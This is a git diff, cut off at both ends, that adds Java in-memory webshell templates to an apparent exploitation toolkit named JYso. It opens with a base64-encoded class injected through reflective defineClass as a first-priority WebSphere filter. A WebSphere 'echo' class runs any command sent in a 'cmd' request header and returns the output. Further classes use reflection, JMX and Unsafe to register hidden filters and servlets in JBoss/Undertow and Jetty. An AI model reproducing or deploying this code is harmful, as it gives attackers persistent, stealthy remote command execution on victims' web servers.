BUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY="; + byte[] bytes = base64Decoder.decodeBuffer(codeClass); + + method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); + } + + Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); + Object filter = clazz.newInstance(); + filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("addFilterInfo")) { + method = methods[i]; + break; + } + } + method.invoke(webAppConfiguration, new Object[]{filterConfig}); + + field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); + field.setAccessible(true); + Object original = field.get(filterConfig); + + //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 + field.set(filterConfig, null); + + method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); + method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); + + //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 + field.set(filterConfig, original); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getUriFilterMappings")) { + method = methods[i]; + break; + } + } + + //这里的目的是为了将我们添加的动态 Filter 放到第一位 + List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object[0]); + uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); + } + + break; + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java new file mode 100644 index 0000000..3a817eb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java @@ -0,0 +1,36 @@ +package com.qi4l.JYso.template.memshellStatic.Websphere; + +public class websphereEcho { + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); + + String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBFMSFromContextF.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBFMSFromContextF.java new file mode 100644 index 0000000..36a8652 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBFMSFromContextF.java @@ -0,0 +1,195 @@ +package com.qi4l.JYso.template.memshellStatic.jboss; + + +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.Map; + +/** + * jboss Filter 内存马 + * + * @author QI4L + */ +public class JBFMSFromContextF implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + + try { + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object context = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + Map filters = (Map) getMethodAndInvoke(deploymentInfo, "getFilters", new Class[]{}, new Object[]{}); + + if (!filters.containsKey(NAME)) { + Class clazz = JBFMSFromContextF.class; + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Class instanceFactoryClass = Class.forName("io.undertow.servlet.api.InstanceFactory"); + Class implClass = Class.forName("io.undertow.servlet.util.ConstructorInstanceFactory"); + + Constructor factoryConstructor = implClass.getDeclaredConstructor(new Class[]{Constructor.class}); + Object factory = factoryConstructor.newInstance( + new Object[]{clazz.getDeclaredConstructor()}); + + Constructor constructor = filterInfoClass.getDeclaredConstructor( + new Class[]{String.class, Class.class, instanceFactoryClass}); + constructor.setAccessible(true); + Object filter = constructor.newInstance(new Object[]{NAME, clazz, factory}); + + getMethodAndInvoke(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filter}); + + Field f = context.getClass().getDeclaredField("deployment"); + f.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + getMethodAndInvoke(getMethodAndInvoke(f.get(context), "getFilters", new Class[]{}, new Object[]{}), + "addFilter", new Class[]{filterInfoClass}, new Object[]{filter}); + getMethodAndInvoke(deploymentInfo, "insertFilterUrlMapping", + new Class[]{int.class, String.class, String.class, DispatcherType.class}, + new Object[]{0, NAME, pattern, DispatcherType.REQUEST}); + } + } catch (Exception ignored) { + Object standardContext = null; + Object servletContext = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + if (servletContext != null) { + standardContext = getFieldValue(getFieldValue(servletContext, "context"), "context"); + } else { + standardContext = getFieldValue(getFieldValue(req, "request"), "context"); + } + Class contextClass = null; + try { + contextClass = standardContext.getClass().getSuperclass(); + contextClass.getDeclaredField("filterConfigs"); + } catch (Exception e) { + contextClass = standardContext.getClass(); + contextClass.getDeclaredField("filterConfigs"); + } + + Map filterConfigs = (Map) getFieldValue(standardContext, "filterConfigs"); + Filter filter = new JBFMSFromContextF(); + + Class filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); + Object filterDef = filterDefClass.newInstance(); + getMethodAndInvoke(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + getMethodAndInvoke(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); + getMethodAndInvoke(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter}); + getMethodAndInvoke(standardContext, "addFilterDef", new Class[]{filterDefClass}, new Object[]{filterDef}); + + Class filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); + Object filterMap = filterMapClass.newInstance(); + + getMethodAndInvoke(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{pattern}); + getMethodAndInvoke(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + getMethodAndInvoke(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + + Field fieldMaps = standardContext.getClass().getDeclaredField("filterMaps"); + fieldMaps.setAccessible(true); + Object maps = fieldMaps.get(standardContext); + + int length = Array.getLength(maps); + Object newMaps = Array.newInstance(filterMapClass, length + 1); + Array.set(newMaps, 0, filterMap); + for (int i = 0; i < length; i++) { + Array.set(newMaps, i + 1, Array.get(maps, i)); + } + fieldMaps.set(standardContext, newMaps); + + getMethodAndInvoke(standardContext, "addFilterMap", new Class[]{filterMapClass}, new Object[]{filterMap}); + + Class config = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); + Object apacheConfig = null; + + try { + Class conClass = Class.forName("org.apache.catalina.Context"); + Constructor constructor = config.getDeclaredConstructor(conClass, filterDefClass); + constructor.setAccessible(true); + apacheConfig = constructor.newInstance(standardContext, filterDef); + } catch (Exception neverMind) { + apacheConfig = createInstanceUnsafely(config); + Field def = config.getDeclaredField("filterDef"); + def.setAccessible(true); + def.set(apacheConfig, filterDef); + } + + Field field = config.getDeclaredField("filter"); + field.setAccessible(true); + field.set(apacheConfig, filter); + filterConfigs.put(NAME, apacheConfig); + } + } catch (Exception ignored) { + } + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + public static Object createInstanceUnsafely(Class clazz) throws Exception { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + return getMethodAndInvoke(theUnsafeField.get(null), "allocateInstance", new Class[]{Class.class}, new Object[]{clazz}); + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) + throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBSMSFromContextS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBSMSFromContextS.java new file mode 100644 index 0000000..26e1fc7 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBSMSFromContextS.java @@ -0,0 +1,82 @@ +package com.qi4l.JYso.template.memshellStatic.jboss; + + +import io.undertow.servlet.api.DeploymentInfo; +import io.undertow.servlet.api.ServletInfo; +import io.undertow.servlet.core.DeploymentImpl; +import io.undertow.servlet.handlers.ServletHandler; +import io.undertow.servlet.spec.HttpServletRequestImpl; +import io.undertow.servlet.spec.ServletRegistrationImpl; +import io.undertow.servlet.util.ConstructorInstanceFactory; + +import javax.security.jacc.PolicyContext; +import javax.servlet.*; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.Map; + + +/** + * jboss Servlet 内存马 + * + * @author QI4L + */ +public class JBSMSFromContextS implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + ServletContext context = request.getServletContext(); + Field f = context.getClass().getDeclaredField("deploymentInfo"); + f.setAccessible(true); + DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context); + + //只添加一次 + Map servlets = deploymentInfo.getServlets(); + if (!servlets.containsKey(NAME)) { + + Class clazz = JBSMSFromContextS.class; + ServletInfo servletInfo = new ServletInfo(NAME, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); + deploymentInfo.addServlet(servletInfo); + + f = context.getClass().getDeclaredField("deployment"); + f.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + DeploymentImpl deployment = (DeploymentImpl) f.get(context); + ServletHandler handler = deployment.getServlets().addServlet(servletInfo); + + ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment); + registration.addMapping(pattern); + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JFMSFromJMXF.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JFMSFromJMXF.java new file mode 100644 index 0000000..5906474 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JFMSFromJMXF.java @@ -0,0 +1,128 @@ +package com.qi4l.JYso.template.memshellStatic.jetty; + + +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; + +import javax.management.ObjectName; +import javax.servlet.*; +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.EnumSet; +import java.util.Set; + +/** + * 使用 JMX 注入 Jetty Filter 型内存马 + * + * @author QI4L + */ +public class JFMSFromJMXF implements Filter { + + public static String pattern; + + static { + try { + String filterName = String.valueOf(System.nanoTime()); + + JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); + + Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mBeanServer); + + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Field modifier = field.getClass().getDeclaredField("modifiers"); + modifier.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Repository repository = (Repository) field.get(obj); + + Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); + for (NamedObject namedObject : namedObjectSet) { + try { + field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); + field.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Object webAppContext = field.get(namedObject.getObject()); + + field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); + field.setAccessible(true); + Object handler = field.get(webAppContext); + + field = handler.getClass().getDeclaredField("_filters"); + field.setAccessible(true); + Object[] objects = (Object[]) field.get(handler); + + boolean flag = false; + for (Object o : objects) { + field = o.getClass().getSuperclass().getDeclaredField("_name"); + field.setAccessible(true); + String name = (String) field.get(o); + if (name.equals(filterName)) { + flag = true; + break; + } + } + + if (!flag) { + ClassLoader classLoader = handler.getClass().getClassLoader(); + Class sourceClazz = null; + Object holder = null; + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); + field = sourceClazz.getDeclaredField("JAVAX_API"); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); + holder = method.invoke(handler, field.get(null)); + } catch (ClassNotFoundException e) { + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); + } catch (ClassNotFoundException ignored) { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Holder$Source"); + } + Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); + holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); + } + + + Filter filter = new JFMSFromJMXF(); + holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); + holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter); + handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); + + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); + Object filterMapping = clazz.newInstance(); + Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); + method.setAccessible(true); + method.invoke(filterMapping, holder); + filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{pattern}}); + filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); + + // prependFilterMapping 会自动把 filter 加到最前面 + handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); + } + } catch (Exception ignored) { + //pass + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JSMSFromJMXS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JSMSFromJMXS.java new file mode 100644 index 0000000..5ee58d9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JSMSFromJMXS.java @@ -0,0 +1,141 @@ +package com.qi4l.JYso.template.memshellStatic.jetty; + +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; + +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.Set; + +/** + * jetty Servlet 内存马 + * + * @author QI4L + */ + +public class JSMSFromJMXS implements Servlet { + + public static String pattern; + + static { + try { + String servletName = String.valueOf(System.nanoTime()); + + JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); + + Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mBeanServer); + + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Field modifier = field.getClass().getDeclaredField("modifiers"); + modifier.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Repository repository = (Repository) field.get(obj); + + Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); + for (NamedObject namedObject : namedObjectSet) { + try { + field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); + field.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Object webAppContext = field.get(namedObject.getObject()); + + field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); + field.setAccessible(true); + Object handler = field.get(webAppContext); + + field = handler.getClass().getDeclaredField("_servlets"); + field.setAccessible(true); + Object[] objects = (Object[]) field.get(handler); + + boolean flag = false; + for (Object o : objects) { + field = o.getClass().getSuperclass().getDeclaredField("_name"); + field.setAccessible(true); + String name = (String) field.get(o); + if (name.equals(servletName)) { + flag = true; + break; + } + } + + if (!flag) { + ClassLoader classLoader = handler.getClass().getClassLoader(); + Class sourceClazz = null; + Object holder = null; + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); + field = sourceClazz.getDeclaredField("JAVAX_API"); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); + holder = method.invoke(handler, field.get(null)); + } catch (ClassNotFoundException e) { + try { + sourceClazz = 